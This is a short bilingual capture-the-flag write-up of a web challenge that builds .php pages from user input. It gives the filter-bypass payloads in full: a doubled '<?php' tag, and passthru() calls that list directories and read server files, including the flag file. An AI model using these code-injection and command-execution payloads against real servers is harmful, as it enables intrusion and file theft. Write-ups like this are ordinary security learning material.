WebページのURLが与えられた。
このWebページでは文字列を送信でき、送信するとその内容に基づき.phpで終わるURLのページが作られるようだった。
<?php echo("aaa"); を送信すると、ページには echo("aaa"); が表示された。
<?php <?php echo("aaaa"); を送信すると、ページには aaaa が表示され、PHPのコードを実行できそうだった。
<?php <?php passthru("ls"); passthru("ls /"); を送信すると、
カレントディレクトリにはランダムっぽい名前の項目に混ざって以下の項目があることがわかった。
なお、passthru() はコマンドを実行してその出力を出力する関数である。
An URL of a web page was given.
We could submit strings in this web page.
Submitting strings resulted in creations of pages whose URL ends with .php based on what are sent.
Sending <?php echo("aaa"); resulted in a page that shows echo("aaa");.
Sending <?php <?php echo("aaaa"); resulted in a page that shows aaaa.
This implies that we can execute PHP code in this way.
After that, I sent <?php <?php passthru("ls"); passthru("ls /");.
(passthru() is a function that executes a command and output the command's output)
As a result, I found these entries in the working directory among entries with names that seem random:
addnote.phpdescription.txtindex.phpnote1.phpnote2.php
また、ルートディレクトリにはflag.phpという項目があることがわかった。
<?php <?php passthru("cat /flag.php"); を送信した結果の表示は空だった。
<?php <?php passthru("cat *.php"); を送信すると、結果の中に以下の部分があった。
Also, I found an entry flag.php in the root directory.
I sent <?php <?php passthru("cat /flag.php"); and got an empty page.
When I sent <?php <?php passthru("cat *.php");, the result had this part:
この部分から、<?php を2個重ねたらPHPのコードを実行できたのと同様に、
flag も2個重ねると良さそうであることが読み取れた。
これを踏まえ、<?php <?php "flag"; passthru("cat /flag.php"); を送信すると、flagが得られた。
This part implies that we should include two flag in the string to send to have it work like I did with <?php.
Based on this, I obtained the flag by sending <?php <?php "flag"; passthru("cat /flag.php");.